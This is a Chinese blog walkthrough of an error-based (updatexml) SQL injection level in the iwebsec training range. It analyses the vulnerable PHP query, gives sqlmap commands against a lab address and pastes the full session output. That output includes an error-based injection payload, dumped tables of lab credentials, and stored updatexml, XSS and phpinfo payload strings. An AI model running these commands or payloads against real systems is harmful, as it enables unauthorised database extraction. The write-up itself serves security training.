• iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)


    系列文章目录

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)_mooyuan的博客-CSDN博客

    目录

    系列文章目录

    前言

    一、源码分析

    二、sqlmap注入

    1.注入命令

     2.完整交互过程

    总结


    前言

    iwebsec靶场的SQL注入漏洞的第05关updatexml注入漏洞渗透。


    一、源码分析

    如下所示,SQL语句与前几关一样,调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入,并且没有对参数id做任何过滤。

    不过在输出内容中可以得知仅sql查询成功时输出正确的id,用户名和密码。

    ​不过在错误的时候却执行语句print_r(mysql_error());这个报错语句的使用意味着我们可以利用报错型函数如updatexml,extractvalue等函数进行SQL注入。

    二、sqlmap注入

    1.注入命令

    sqlmap -u http://192.168.71.151/sqli/05.php?id=1  --current-db --dump --batch

     如下所示,渗透成功

    sqlmap发现可以通过4种方法进行渗透成功,这里我们可以指定方法就是error-based,这样的话渗透语句可以写为

    sqlmap -u http://192.168.71.151/sqli/05.php?id=1  --current-db --dump --batch --technique E

     2.完整交互过程

    完整的注入交互如下所示

    1. kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/05.php?id=1 --current-db --dump --batch --technique E
    2. ___
    3. __H__
    4. ___ ___[)]_____ ___ ___ {1.5.11#stable}
    5. |_ -| . [,] | .'| . |
    6. |___|_ [.]_|_|_|__,| _|
    7. |_|V... |_| https://sqlmap.org
    8. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    9. [*] starting @ 23:15:21 /2022-11-24/
    10. [23:15:21] [INFO] resuming back-end DBMS 'mysql'
    11. [23:15:21] [INFO] testing connection to the target URL
    12. sqlmap resumed the following injection point(s) from stored session:
    13. ---
    14. Parameter: id (GET)
    15. Type: error-based
    16. Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    17. Payload: id=1 AND (SELECT 1776 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(1776=1776,1))),0x7170707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    18. ---
    19. [23:15:21] [INFO] the back-end DBMS is MySQL
    20. web server operating system: Linux CentOS 6
    21. web application technology: Apache 2.2.15, PHP 5.2.17
    22. back-end DBMS: MySQL >= 5.0
    23. [23:15:21] [INFO] fetching current database
    24. [23:15:21] [INFO] retrieved: 'iwebsec'
    25. current database: 'iwebsec'
    26. [23:15:21] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    27. [23:15:21] [INFO] fetching current database
    28. [23:15:21] [INFO] fetching tables for database: 'iwebsec'
    29. [23:15:21] [INFO] retrieved: 'sqli'
    30. [23:15:21] [INFO] retrieved: 'user'
    31. [23:15:21] [INFO] retrieved: 'users'
    32. [23:15:21] [INFO] retrieved: 'xss'
    33. [23:15:21] [INFO] fetching columns for table 'users' in database 'iwebsec'
    34. [23:15:21] [INFO] retrieved: 'username'
    35. [23:15:21] [INFO] retrieved: 'varchar(255)'
    36. [23:15:21] [INFO] retrieved: 'password'
    37. [23:15:21] [INFO] retrieved: 'varchar(255)'
    38. [23:15:21] [INFO] retrieved: 'role'
    39. [23:15:21] [INFO] retrieved: 'varchar(255)'
    40. [23:15:21] [INFO] fetching entries for table 'users' in database 'iwebsec'
    41. [23:15:21] [INFO] retrieved: 'mall123mall'
    42. [23:15:21] [INFO] retrieved: 'admin'
    43. [23:15:21] [INFO] retrieved: 'orange'
    44. Database: iwebsec
    45. Table: users
    46. [1 entry]
    47. +-------+-------------+----------+
    48. | role | password | username |
    49. +-------+-------------+----------+
    50. | admin | mall123mall | orange |
    51. +-------+-------------+----------+
    52. [23:15:21] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    53. [23:15:21] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    54. [23:15:21] [INFO] retrieved: 'id'
    55. [23:15:21] [INFO] retrieved: 'int(11)'
    56. [23:15:21] [INFO] retrieved: 'username'
    57. [23:15:21] [INFO] retrieved: 'varchar(255)'
    58. [23:15:21] [INFO] retrieved: 'password'
    59. [23:15:21] [INFO] retrieved: 'varchar(255)'
    60. [23:15:21] [INFO] retrieved: 'email'
    61. [23:15:21] [INFO] retrieved: 'varchar(255)'
    62. [23:15:21] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    63. [23:15:21] [INFO] retrieved: 'user1@iwebsec.com'
    64. [23:15:21] [INFO] retrieved: '1'
    65. [23:15:21] [INFO] retrieved: 'pass1'
    66. [23:15:21] [INFO] retrieved: 'user1'
    67. [23:15:21] [INFO] retrieved: 'user2@iwebsec.com'
    68. [23:15:21] [INFO] retrieved: '2'
    69. [23:15:21] [INFO] retrieved: 'pass2'
    70. [23:15:21] [INFO] retrieved: 'user2'
    71. [23:15:22] [INFO] retrieved: 'user3@iwebsec.com'
    72. [23:15:22] [INFO] retrieved: '3'
    73. [23:15:22] [INFO] retrieved: 'pass3'
    74. [23:15:22] [INFO] retrieved: 'user3'
    75. [23:15:22] [INFO] retrieved: 'user4@iwebsec.com'
    76. [23:15:22] [INFO] retrieved: '4'
    77. [23:15:22] [INFO] retrieved: 'admin'
    78. [23:15:22] [INFO] retrieved: 'admin'
    79. [23:15:22] [INFO] retrieved: '123@123.com'
    80. [23:15:22] [INFO] retrieved: '5'
    81. [23:15:22] [INFO] retrieved: '123'
    82. [23:15:22] [INFO] retrieved: '123'
    83. [23:15:22] [INFO] retrieved: '1234@123.com'
    84. [23:15:22] [INFO] retrieved: '6'
    85. [23:15:22] [INFO] retrieved: '123'
    86. [23:15:22] [INFO] retrieved: 'ctfs' or updatexml(1,concat(0x7e,(version())),0)#'
    87. [23:15:22] [INFO] retrieved: 'iwebsec02@iwebsec.com'
    88. [23:15:22] [INFO] retrieved: '7'
    89. [23:15:22] [INFO] retrieved: '123456'
    90. [23:15:22] [INFO] retrieved: 'iwebsec' or updatexml(1,concat(0x7e,(version())),0)#'
    91. Database: iwebsec
    92. Table: sqli
    93. [7 entries]
    94. +----+-----------------------+----------+------------------------------------------------------+
    95. | id | email | password | username |
    96. +----+-----------------------+----------+------------------------------------------------------+
    97. | 1 | user1@iwebsec.com | pass1 | user1 |
    98. | 2 | user2@iwebsec.com | pass2 | user2 |
    99. | 3 | user3@iwebsec.com | pass3 | user3 |
    100. | 4 | user4@iwebsec.com | admin | admin |
    101. | 5 | 123@123.com | 123 | 123 |
    102. | 6 | 1234@123.com | 123 | ctfs' or updatexml(1,concat(0x7e,(version())),0)# |
    103. | 7 | iwebsec02@iwebsec.com | 123456 | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    104. +----+-----------------------+----------+------------------------------------------------------+
    105. [23:15:22] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    106. [23:15:22] [INFO] fetching columns for table 'user' in database 'iwebsec'
    107. [23:15:22] [INFO] retrieved: 'id'
    108. [23:15:22] [INFO] retrieved: 'int(11)'
    109. [23:15:22] [INFO] retrieved: 'username'
    110. [23:15:22] [INFO] retrieved: 'varchar(255)'
    111. [23:15:22] [INFO] retrieved: 'password'
    112. [23:15:22] [INFO] retrieved: 'varchar(255)'
    113. [23:15:22] [INFO] fetching entries for table 'user' in database 'iwebsec'
    114. [23:15:22] [INFO] retrieved: '1'
    115. [23:15:22] [INFO] retrieved: 'pass1'
    116. [23:15:22] [INFO] retrieved: 'user1'
    117. [23:15:22] [INFO] retrieved: '2'
    118. [23:15:22] [INFO] retrieved: 'pass2'
    119. [23:15:22] [INFO] retrieved: 'user2'
    120. [23:15:22] [INFO] retrieved: '3'
    121. [23:15:22] [INFO] retrieved: 'pass3'
    122. [23:15:22] [INFO] retrieved: 'user3'
    123. Database: iwebsec
    124. Table: user
    125. [3 entries]
    126. +----+----------+----------+
    127. | id | password | username |
    128. +----+----------+----------+
    129. | 1 | pass1 | user1 |
    130. | 2 | pass2 | user2 |
    131. | 3 | pass3 | user3 |
    132. +----+----------+----------+
    133. [23:15:22] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    134. [23:15:22] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    135. [23:15:22] [INFO] retrieved: 'id'
    136. [23:15:22] [INFO] retrieved: 'int(11)'
    137. [23:15:22] [INFO] retrieved: 'name'
    138. [23:15:22] [INFO] retrieved: 'varchar(255)'
    139. [23:15:22] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    140. [23:15:22] [INFO] retrieved: '1'
    141. [23:15:22] [INFO] retrieved: 'iwebsec'
    142. [23:15:22] [INFO] retrieved: '5'
    143. [23:15:22] [INFO] retrieved: ''
    144. [23:15:22] [INFO] retrieved: '6'
    145. [23:15:22] [INFO] retrieved: ''
    146. [23:15:22] [INFO] retrieved: '7'
    147. [23:15:22] [INFO] retrieved: ''
    148. [23:15:22] [INFO] retrieved: '8'
    149. [23:15:22] [INFO] retrieved: ''
    150. Database: iwebsec
    151. Table: xss
    152. [5 entries]
    153. +----+------------------------------------+
    154. | id | name |
    155. +----+------------------------------------+
    156. | 1 | iwebsec |
    157. | 5 | <img src=1 onerror=alert(/ctfs/)/> |
    158. | 6 | <img src=1 onerror=alert(/ctfs/)/> |
    159. | 7 | <img src=1 onerror=alert(/ctfs/)/> |
    160. | 8 | <?php phpinfo();?> |
    161. +----+------------------------------------+
    162. [23:15:22] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    163. [23:15:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    164. [23:15:22] [WARNING] your sqlmap version is outdated
    165. [*] ending @ 23:15:22 /2022-11-24/

    总结

    通过源码再来分析下时间盲注关卡重点内容:
    (1)闭合方式是什么?iwebsec的第05关关卡为数字型注入,无闭合方式
    (2)注入类别是什么?这部分是报错型盲注
    (3)是否过滤了关键字?很明显通过源码,iwebsec的时间报错型关卡无过滤任何信息
    了解了如上信息就可以针对性进行SQL渗透。初学者还是应该以手动注入方法练习,真正了解原理后可以在使用sqlmap来提升速度。

  • 相关阅读:
    几道毒瘤微积分题
    【ICer必备基础】MOS电容——电容电压特性详解
    postgres账号授权模式授权
    2022年全国职业院校技能大赛:网络系统管理项目-模块B--Windows样题7
    说说数据治理中常见的20个问题
    xxis not in the sudoers file. This incident will be reported.
    力扣:300.最长递增子序列
    lambda表达式c++
    Qt线程池QThreadPool的使用
    超大规模云数据中心对存储的诉求有哪些?
  • 原文地址:https://blog.csdn.net/mooyuan/article/details/128035767